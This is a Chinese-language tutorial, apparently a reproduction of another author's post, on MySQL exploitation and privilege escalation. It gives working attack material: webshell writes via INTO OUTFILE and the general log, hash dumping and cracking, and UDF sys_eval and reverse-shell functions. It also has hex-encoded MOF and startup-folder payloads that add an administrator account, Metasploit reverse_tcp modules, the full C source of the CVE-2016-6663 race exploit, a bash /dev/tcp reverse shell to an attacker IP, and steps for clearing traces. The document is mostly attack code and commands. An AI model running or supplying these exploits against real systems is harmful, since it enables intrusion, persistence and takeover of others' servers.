MySQL漏洞利用与提权
本文目的是复现国光的文章:MySQL漏洞利用与提权
权限获取
数据库操作权限
本文讲的是 MySQL 提权相关知识,但是提权之前得先拿到高权限的 MySQL 用户才可以,拿到 MySQL 的用户名和密码的方式多种多样,但是不外乎就下面几种方法:
- MySQL 3306 端口弱口令爆破
- sqlmap 注入的
--sql-shell
模式 - 网站的数据库配置文件中拿到明文密码信息
- CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限
Webshell 权限
into oufile 写 shell
- 知道网站物理路径
- 高权限数据库用户
- load_file() 开启 即 secure_file_priv 无限制
- 网站路径有写入权限
首先基础语法查询是否 secure_file_priv
没有限制
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';
sqlmap 中可以如下操作:
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"
一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。
日志文件写 shell
- Web 文件夹宽松权限可以写入
- Windows 系统下
- 高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------------------------------------------+
| Variable_name | Value |
+------------------+-----------------------------------------------------------------+
| general_log | OFF |
| general_log_file | C:\phpstudy_pro\Extensions\MySQL5.7.26\data\DESKTOP-CNGL8CF.log |
+------------------+-----------------------------------------------------------------+
2 rows in set, 1 warning (0.00 sec)
general_log
默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='C:\\\\phpstudy_pro\\WWW\\shell.php';
# 查看当前配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+--------------------------------+
| Variable_name | Value |
+------------------+--------------------------------+
| general_log | ON |
| general_log_file | C:\\phpstudy_pro\WWW\shell.php |
+------------------+--------------------------------+
# 往日志里面写入 payload
select '<?php phpinfo();?>';
# 此时已经写到 info.php 文件当中了
PS C:\Users\John> cat C:\\\\phpstudy_pro\\WWW\\shell.php
C:\phpstudy_pro\COM\..\Extensions\MySQL5.7.26\\bin\mysqld.exe, Version: 5.7.26 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
2022-05-14T07:45:18.359496Z 8 Query SHOW VARIABLES LIKE 'general%'
2022-05-14T07:45:39.415507Z 8 Query select '<?php phpinfo();?>'
这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的
-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php
Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。
前面分别介绍了数据库权限和 Webshell 权限,那么能不能利用已经获取到的 MySQL 权限来执行系统主机的命令的呢?这个就是下面主要介绍的了 MySQL 提权的知识点了。
Hash 获取与解密
假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解密:
# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host | user | password |
+-----------+------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| % | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+------+-------------------------------------------+
# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
+-----------+---------------+-------------------------------------------+
| host | user | authentication_string |
+-----------+---------------+-------------------------------------------+
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+-----------+---------------+-------------------------------------------+
获取到的 MySQL Hash 值可以通过一些在线网站来解密,如国内的 CMD5 :
也可以通过 Hashcat 来手动跑字典,基本上使用 GPU 破解的话也是可以秒破解的:
hashcat -a 0 -m 300 --force '8232A1298A49F710DBEE0B330C42EEC825D4190A' password.txt -O
-a 破解模式
指定要使用的破解模式,其值参考后面对参数
- [ Attack Modes ] -
# | Mode
===+======
0 | Straight # 直接字典破解
1 | Combination # 组合破解
3 | Brute-force # 掩码暴力破解
6 | Hybrid Wordlist + Mask # 字典+掩码破解
7 | Hybrid Mask + Wordlist # 掩码+字典破解
-m 破解hash类型
指定要破解的hash类型,后面跟hash类型对应的数字,具体类型详见下表:
12 | PostgreSQL | Database Server
131 | MSSQL (2000) | Database Server
132 | MSSQL (2005) | Database Server
1731 | MSSQL (2012, 2014) | Database Server
200 | MySQL323 | Database Server
300 | MySQL4.1/MySQL5 | Database Server
...
–force
忽略破解过程中的警告信息
-O
--optimized-kernel-enable
启用优化的内核(限制密码长度)
新版的hashcat似乎要cuda,这里就不复现了
MySQL 历史上的漏洞
yaSSL 缓冲区溢出
MySQL yaSSL SSL Hello Message Buffer Overflow 这个缓冲区溢出漏洞 2008 年开始被曝出来,距离现在已经十几年的历史了,所以国光这里没有找到对应的环境测试,不过 MSF 里面已经集成好了对应的模块了:
msf6 > use exploit/windows/mysql/mysql_yassl_hello
msf6 > use exploit/linux/mysql/mysql_yassl_hello
有条件的朋友可以搭建这个漏洞对应的靶场环境
Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log
Windows : MySQL 5.0.45-community-nt
CVE-2012-2122
影响版本: 5.1.63, 5.5.24, 5.6.6 有及以下
知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done
MSF 里面也有了对应的脚本模块可以直接使用,成功后会直接 DUMP 出 MySQL 的 Hash 值:
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 > set rhosts 127.0.0.1
msf6 > run
这里没有复现成功,没跑出来。
UDF 提权
自定义函数,是数据库功能的一种扩展。用户通自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version()
等方便。
手工复现
动态链接库
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。
- sqlmap 的 UDF 动态链接库文件位置
sqlmap根目录/data/udf/mysql
不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py
,解码方法如下:
# 查看当前目录情况
➜ pwd
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak
# 解码 32 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
# 解码 64 位的 Linux 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
# 解码 32 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
# 解码 64 位的 Windows 动态链接库
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
# 查看当前目录下的情况
➜ ls
README.txt cloak.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so
__init__.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll
- Metasploit 的 UDF 动态链接库文件位置
/usr/share/metasploit-framework/data/exploits/mysql
Metasploit 自带的动态链接库文件无需解码,开箱即可食用。
metsaploit 自带的与 sqlmap 解码后的动态链接库文件的内容是一模一样的。
寻找插件目录
接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:
mysql> show variables like '%plugin%';
+-------------------------------+----------------------------------------------------+
| Variable_name | Value |
+-------------------------------+----------------------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
+-------------------------------+----------------------------------------------------+
2 rows in set, 1 warning (0.01 sec)
如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin
文件夹:
mysql > select 233 into dumpfile 'C:\\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin::$index_allocation';
通过 NTFS ADS流创建文件夹成功率不高,目前 MySQL 官方貌似已经阉割了这个功能。那么如果找到 MySQL 的安装目录呢?通用也有对应的 SQL 语句可以查询出来:
mysql> select @@basedir;
+-----------------------------------------+
| @@basedir |
+-----------------------------------------+
| C:\phpstudy_pro\Extensions\MySQL5.7.26\ |
+-----------------------------------------+
1 row in set (0.01 sec)
写入动态链接库
写入动态链接库可以分为下面几种情形:
- SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击
sqlmap -u "http://192.168.91.156/db.php" --data="id=1" --file-write="/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll" --file-dest="C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"
- 如果没有注入的话,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的:
# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:
# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));
一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';
为了方便大家直接复制,国光单独写了个页面:MySQL UDF 提权十六进制查询
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
网友们可能看到这个报错,因为 lib_mysqludf_sys_64.dll 失败,最后使用 lib_mysqludf_sys_32.dll 才成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而旧版PHPStudy 自带的 MySQL 版本是 32 位的,新版是64位
创建自定义函数并调用命令
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:
mysql> select * from mysql.func;
+----------+-----+-----------+----------+
| name | ret | dl | type |
+----------+-----+-----------+----------+
| sys_eval | 0 | udf64.dll | function |
+----------+-----+-----------+----------+
1 row in set (0.00 sec)
这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:
mysql> select sys_eval('whoami');
+----------------------+
| sys_eval('whoami') |
+----------------------+
| desktop-cngl8cf\john |
+----------------------+
1 row in set (0.29 sec)
如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的
删除自定义函数
mysql > drop function sys_eval;
UDF shell
假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了。
UDF.PHP
t00ls UDF.PHP 简单方便,一键 DUMP UDF 和函数,操作门槛降低了很多:
这里用他自带的dll是无法创建函数的,用回sqlmap的64位dll可以,所以估计还是位数的问题?
Navicat MySQL
目标 MySQL 不允许外连,但是可以上传 PHP 脚本:
这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上:
接着连接的时候设置 HTTP 通道,这个时候主机地址填写 localhost 即可:
连接成功后自然就可以愉快地进行手工 UDF 提权啦:
反弹端口提权
实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些:
cmdshell # 执行cmd
downloader # 下载者,到网上下载指定文件并保存到指定目录
open3389 # 通用开3389终端服务,可指定端口(不改端口无需重启)
backshell # 反弹Shell
ProcessView # 枚举系统进程
KillProcess # 终止指定进程
regread # 读注册表
regwrite # 写注册表
shut # 关机,注销,重启
about # 说明与帮助函数
这里我又无法加载这个dll文件,下面是国光的演示
下面尝试来使用这个 dll 来反弹 shell 试试看吧,首先在 10.20.24.244 上开启 NC 监听:
➜ ~ ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
然后目标机器上导入 dll 动态链接库(这里偷懒就忽略了),然后创建自定义函数:
mysql > CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
直接反弹 shell :
mysql > select backshell("10.20.24.244", 2333);
成功上线:
MOF 提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
手工复现
上传 mof 文件执行命令
mof 脚本的内容如下:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
核心 payload 为:
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")
MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下,依然采用上述编码的方式:
mysql > select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";
行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:
查看用户:
痕迹清理
因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果:
# 停止 winmgmt 服务
net stop winmgmt
# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\
# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
# 删除创建的用户
net user hacker /delete
# 重新启动服务
net start winmgmt
MSF MOF 提权
MSF 里面也自带了 MOF 提权模块,使用起来也比较方便而且也做到了自动清理痕迹的效果,实际操作起来效率也还不错:
msf6 > use exploit/windows/mysql/mysql_mof
# 设置好自己的 payload
msf6 > set payload windows/meterpreter/reverse_tcp
# 设置目标 MySQL 的基础信息
msf6 > set rhosts 10.211.55.21
msf6 > set username root
msf6 > set password root
msf6 > run
实际运行效果如下:
启动项提权
这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
手工复现
启动项路径
Windows Server 2003 的启动项路径:
# 中文系统
C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
# 英文系统
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
# 开关机项 需要自己建立对应文件夹
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup
C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Shutdown
Windows Server 2008 的启动项路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
既然知道路径的话就往启动项路径里面写入脚本吧,脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 MSF 或者 CS 这方面还是比较灵活的。下面是一个执行基础命令的 VB 脚本:
Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user hacker P@ssw0rd /add", 0
WshShell.Run "net localgroup administrators hacker /add", 0
MySQL 写入启动项
将上述 vbs 或者 CS 的马转十六进制直接写如到系统启动项中:
mysql > select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";
这里中文系统字符编码有问题写不进去,经过测试英文路径是可以的
写入成功的时候就等待系统用户重新登录,登录成功的话,我们的自定义脚本也就会被执行。
MSF 启动项提权
没错,MSF 也封装好了对应的模块,目标系统为 Windows 的情况下可以直接使用该模块来上线 MSF,使用起来也很简单:
msf6 > use exploit/windows/mysql/mysql_start_up
# 配置 MySQL 连接信息
msf6 > set rhosts 192.168.91.160
msf6 > set username root
msf6 > set password root
msf6 > run
STARTUP_FOLDER 启动项文件夹得自己根据实际的目标系统来进行调整
MSF 会写入 exe 木马到启动项中,执行完成后开启监听会话:
msf6 > handler -H 192.168.91.128 -P 4444 -p windows/meterpreter/reverse_tcp
当目标系统重新登录的时候,MSF 这里可以看到已经成功上线了:
CVE-2016-6663
环境准备
国光改了基于网上的教程封装打包了一个 Docker 镜像上传到了 Docker Hub,现在大家部署就会方便许多:
# 拉取镜像
docker pull sqlsec/cve-2016-6663
# 部署镜像
docker run -d -p 3306:3306 -p 8080:80 --name CVE-2016-6663 sqlsec/cve-2016-6663
添加一个 test 数据库用户,密码为 123456 并赋予一些基础权限:
# 创建 test 数据库
mysql > create database test;
# 设置 test 密码为 123456
mysql > CREATE USER 'test'@'%' IDENTIFIED BY '123456';
# 赋予基础权限
mysql > grant create,drop,insert,select on test.* to 'test'@'%';
# 刷新权限
mysql > flush privileges;
也可以将上述操作整合成一条命令:
mysql -uroot -e "create database test;CREATE USER 'test'@'%' IDENTIFIED BY '123456'; grant create,drop,insert,select on test.* to 'test'@'%';flush privileges;"
漏洞复现
竞争条件提权漏洞,一个拥有 CREATE/INSERT/SELECT 低权限的账户提权成功后可以系统用户身份执行任意代码,提权的用户为 mysql 用户,概括一下就是将低权限的 www-data 权限提升为 mysql 权限
利用成功条件
- Getshell 拿到 www-data 权限
- 拿到 CREATE/INSERT/SELECT 低权限的 MySQL 账户
- 关键提取步骤需要在交互环境下,所以需要反弹 shell
- MySQL 版本需要 <=5.5.51 或 5.6.x <=5.6.32 或 5.7.x <=5.7.14 或 8.x < 8.0.1
- MariaDB 版本需要 <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17
CVE-2016-6663 EXP mysql-privesc-race.c 参考链接:MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit
#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / CVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {
if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
通过蚁剑上传 EXP,然后 Bash 反弹 shell:
首先开启监听端口:
# nc -lvnp 2333
Listening on 0.0.0.0 2333
蚁剑终端下反弹 Bash:
(www-data:/var/www/html) $ bash -i >& /dev/tcp/172.23.86.245/2333 0>&1
在反弹 shell 的情况下,首先编译 EXP:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
执行 EXP 提权:
# ./mysql-privesc-race 数据库用户名 密码 数据库地址 数据库
./mysql-privesc-race test 123456 localhost test
Bingo! 成功,最后的提权成功的效果如下:
要想获取 root 权限得配合 CVE-2016-6662 与 CVE-2016-6664 这两个漏洞,大佬没有复现成功,这里我也不再试了。
参考资料
先知 – Mysql提权(CVE-2016-6663、CVE-2016-6664组合实践)